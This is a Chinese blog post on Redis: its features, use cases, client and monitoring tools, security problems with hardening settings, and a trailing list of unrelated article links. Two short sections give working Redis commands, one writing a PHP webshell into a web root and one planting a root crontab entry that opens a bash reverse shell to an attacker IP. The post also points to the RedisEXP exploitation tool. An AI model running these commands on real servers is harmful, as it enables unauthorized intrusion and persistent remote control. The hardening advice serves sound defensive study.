当前位置: 首页 > news >正文

Redis安全

免责声明:本文仅做分享~ 

听说 Redis出网 就容易挨打 ???...

1. 什么是 Redis?

Redis (Remote Dictionary Server) 是一个开源的内存数据结构存储系统,广泛用于缓存、消息队列、会话管理、排行榜、实时分析等场景。Redis 支持多种数据结构,如字符串、哈希、列表、集合、有序集合、位图、HyperLogLogs 及 Geospatial 索引。

Redis 特点:

  • 内存存储:数据存储在内存中,提供高性能和低延迟的读写操作。

  • 持久化:支持将内存中的数据异步地保存到硬盘,避免数据丢失。

  • 多种数据结构:提供丰富的数据结构支持,能处理复杂的数据管理需求。

  • 主从复制:支持主从架构,提供高可用性和数据冗余。

  • Lua 脚本:支持使用 Lua 脚本执行原子操作,简化复杂逻辑。

  • 事务支持:提供基本的事务功能,保证命令的原子性。

  • 丰富的客户端:支持多种编程语言的客户端库。


2. Redis 的常见使用场景

Redis 可以应用于多个场景中,以下是一些常见的应用场景:

1. 缓存

Redis 作为缓存层,存储热点数据,减少数据库的压力,提升应用的响应速度。由于 Redis 的高性能,尤其适合需要快速访问频繁使用的数据的场景。

2. 消息队列

Redis 的 List 数据结构可以用来实现生产者-消费者模式,从而支持消息队列功能。LPUSHRPOP 命令可以用来模拟消息的生产和消费。

3. 会话管理

由于 Redis 可以存储键值对,它常用于存储用户会话信息,并且可以设置会话的过期时间。

4. 排行榜

Redis 支持 Sorted Set 数据结构,能通过分数排序存储的数据。因此,Redis 常用于实现实时排行榜应用,例如游戏或社交媒体的排名系统。

5. 实时分析

Redis 的高吞吐量和低延迟特点使其适合用于实时数据分析,帮助应用程序实时处理和展示最新数据。

6. 分布式锁

Redis 可以实现分布式锁,帮助多个实例之间协调,防止多个节点同时执行相同任务,保证数据的一致性。


3. Redis 的资源与工具

以下是一些 Redis 的学习资源和开发工具,帮助开发者更好地理解和使用 Redis。

1. Redis 官网

Redis - The Real-time Data Platform Redis 的官方站点,提供了完整的文档、教程、下载和新闻等。

2. Redis GitHub 仓库

GitHub - redis/redis: Redis is an in-memory database that persists on disk. The data model is key-value, but many different kind of values are supported: Strings, Lists, Sets, Sorted Sets, Hashes, Streams, HyperLogLogs, Bitmaps. Redis 官方的源代码库,包含 Redis 的最新版本、Issue 讨论和贡献指南。

3. Redis 客户端

Redis 支持多种编程语言的客户端工具,以下是几个流行的 Redis 客户端:

  • Python: redis-py (GitHub链接)

  • Node.js: ioredis (GitHub链接)

  • Java: Jedis (GitHub链接)

  • Go: go-redis (GitHub链接)

4. Redis 学习资源

  • Redis 教程(简体中文): Redis 教程 | 菜鸟教程 包含 Redis 的基础知识介绍,适合入门级学习。

  • Redis Labs 文档: https://docs.redislabs.com/ 提供 Redis Enterprise 相关的高级功能文档。

5. Redis 监控与管理工具

  • RedisInsight: Redis Insight 官方的 Redis 管理工具,提供可视化操作和监控功能,帮助开发者调试、分析和优化 Redis 实例。

  • Prometheus Redis Exporter: GitHub - oliver006/redis_exporter: Prometheus Exporter for ValKey & Redis Metrics. Supports ValKey and Redis 2.x, 3.x, 4.x, 5.x, 6.x, and 7.x 用于将 Redis 性能指标导出到 Prometheus 中进行监控和可视化。

  • Redsmin: Redsmin - Redis GUI 在线的 Redis 管理和监控平台,支持实时分析和调试。


4. Redis 的安全问题

全文干货!Redis漏洞利用详解 (上)

全文干货!Redis漏洞利用详解 (下)

Redis默认6379端口并且为密码或弱密码的情况下,处于公网的redis服务就会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作。从而获得系统权限.

1. 未授权访问

问题: Redis 默认在不设置密码的情况下监听 0.0.0.0,这意味着任何人都可以连接并访问 Redis。

解决方案

  • 绑定特定 IP 地址:修改 redis.conf 配置文件,将 bind 选项设置为仅绑定到本地或特定的 IP 地址,例如:

    bind 127.0.0.1  # 将bind前面#注释符去掉,将protected-mode 后面改为no。
  • 启用密码保护:通过 requirepass 设置 Redis 的访问密码:

  • 配置文件redis.conf:

    requirepass "your_password"

2. 弱密码和暴力破解

问题: 即便设置了访问密码,使用弱密码依然容易被暴力破解工具猜测到。

解决方案

  • 使用强密码,并定期更换密码。

  • 配合防火墙或 IP 限制,防止外部的恶意访问。

  • 启用 Redis ACL(Access Control List),为不同用户提供不同的权限。

3. 数据泄露

问题: Redis 数据存储在内存中,如果未加密传输,可能会在传输过程中被截获。

解决方案

  • 启用 Redis 的 TLS/SSL 支持,确保数据在网络传输时被加密。 配置文件示例:

    tls-port 6379
    tls-cert-file /etc/ssl/redis.crt
    tls-key-file /etc/ssl/redis.key
    tls-ca-cert-file /etc/ssl/ca.crt

4. 拒绝服务攻击 (DoS)

问题: 恶意用户可能通过发送大量耗费资源的请求(例如大批量数据插入),导致 Redis 实例性能下降或宕机。

解决方案

  • 配置 Redis 的最大客户端连接数 maxclients 以及最大内存使用 maxmemory,防止单个实例被过度消耗资源:

    maxclients 10000
    maxmemory 1gb

5. 持久化文件的安全性

问题: Redis 支持将数据持久化到磁盘,但持久化文件如果未保护好,可能会被攻击者篡改或获取。

解决方案

  • 确保 RDB 和 AOF 文件的存储路径有正确的权限设置,防止未经授权的用户读取或写入。

  • 定期备份持久化文件,并启用加密备份功能。

6.利用redis写webshell

在利用redis写webshell时,我们需要知道web站点的路径。不然即使生成webshell你也连不上。假设我们的站点目录是/var/www/html执行下面命令即可。

config set dir /var/www/html #设置目录
config set dbfilename kali.php #生成文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" #给文件中写入内容
save#保存
#完成后,访问文件

7.反弹shell

redis创建定时任务文件 --> 通过定时任务来上线nc

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n"
save
​
# nc -lvvp 5555

 

 


5. Redis 安全最佳实践

1. 限制网络访问

  • 使用防火墙规则或 iptables 限制 Redis 的访问来源,避免暴露在公共网络上。

  • 在云服务中,使用专用的 VPC(虚拟私有云)或内部网络连接 Redis 实例。

2. 定期更新和打补丁

  • 保持 Redis 版本的最新状态,及时应用安全补丁,防止已知的漏洞被利用。

3. 使用隔离环境

  • 将 Redis 部署在独立的服务器或容器中,避免与其他应用程序共享同一物理或虚拟环境,减少相互影响的风险。

4. 使用监控工具

  • 部署 Redis 监控工具,如 RedisInsight 或 Prometheus,用于实时监控 Redis 的运行状态、内存占用和性能指标。

5. 开启日志记录

  • 启用日志功能,定期检查 Redis 日志,以便发现异常行为并及时处理。


工具

RedisExp

GitHub - yuyan-sec/RedisEXP: Redis 漏洞利用工具

RedisExp 是一个用于利用 Redis 漏洞的多功能工具,支持执行 Redis 命令、主从复制、DLL/SO 加载、文件上传、计划任务写入、SSH 公钥配置等操作。该工具允许用户通过不同的模块实现远程命令执行、上传恶意文件以及劫持 DLL。

...


 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Elasticsearch7.7.1集群不能相互发现的问题解决以及Elasticsearch7.7.1安装analysis-ik中文分词插件的应用
  • 力扣19 删除链表的倒数第N个节点 Java版本
  • 【C++】模拟实现list
  • Why Is Prompt Tuning for Vision-Language Models Robust to Noisy Labels?
  • Android String资源文件中,空格、换行以及特殊字符如何表示
  • 网络爬虫进阶
  • LlamaIndex 的Node节点后处理器模块介绍
  • 二叉树中序遍历非递归+递归C++实现
  • linux之网络命令
  • My_string 运算符重载,My_stack
  • MES系统如何提升制造企业的运营效率和灵活性
  • 深入剖析链表反转:多语言实现与高级语法特性20240924
  • 软件测试面试题(6)——二面(游戏测试)
  • 怎么设置u盘不让别人拷贝?八个方法集锦,一分钟教会你!(最全攻略来了)
  • 计算机前沿技术-人工智能算法-大语言模型-最新论文阅读-2024-09-21
  • #Java异常处理
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 【干货分享】SpringCloud微服务架构分布式组件如何共享session对象
  • 2017-08-04 前端日报
  • golang 发送GET和POST示例
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • Joomla 2.x, 3.x useful code cheatsheet
  • nodejs调试方法
  • Redis的resp协议
  • REST架构的思考
  • RxJS: 简单入门
  • Vue--数据传输
  • 大数据与云计算学习:数据分析(二)
  • 分享一个自己写的基于canvas的原生js图片爆炸插件
  • - 概述 - 《设计模式(极简c++版)》
  • 工作踩坑系列——https访问遇到“已阻止载入混合活动内容”
  • 数据库写操作弃用“SELECT ... FOR UPDATE”解决方案
  • 算法之不定期更新(一)(2018-04-12)
  • 写给高年级小学生看的《Bash 指南》
  • 怎么把视频里的音乐提取出来
  • ​力扣解法汇总1802. 有界数组中指定下标处的最大值
  • $(this) 和 this 关键字在 jQuery 中有何不同?
  • $forceUpdate()函数
  • (PHP)设置修改 Apache 文件根目录 (Document Root)(转帖)
  • (安全基本功)磁盘MBR,分区表,活动分区,引导扇区。。。详解与区别
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (接上一篇)前端弄一个变量实现点击次数在前端页面实时更新
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (四)linux文件内容查看
  • (转)树状数组
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)
  • (轉貼) 資訊相關科系畢業的學生,未來會是什麼樣子?(Misc)
  • .“空心村”成因分析及解决对策122344
  • .class文件转换.java_从一个class文件深入理解Java字节码结构
  • .mysql secret在哪_MYSQL基本操作(上)
  • .NET基础篇——反射的奥妙
  • .Net开发笔记(二十)创建一个需要授权的第三方组件
  • .net中生成excel后调整宽度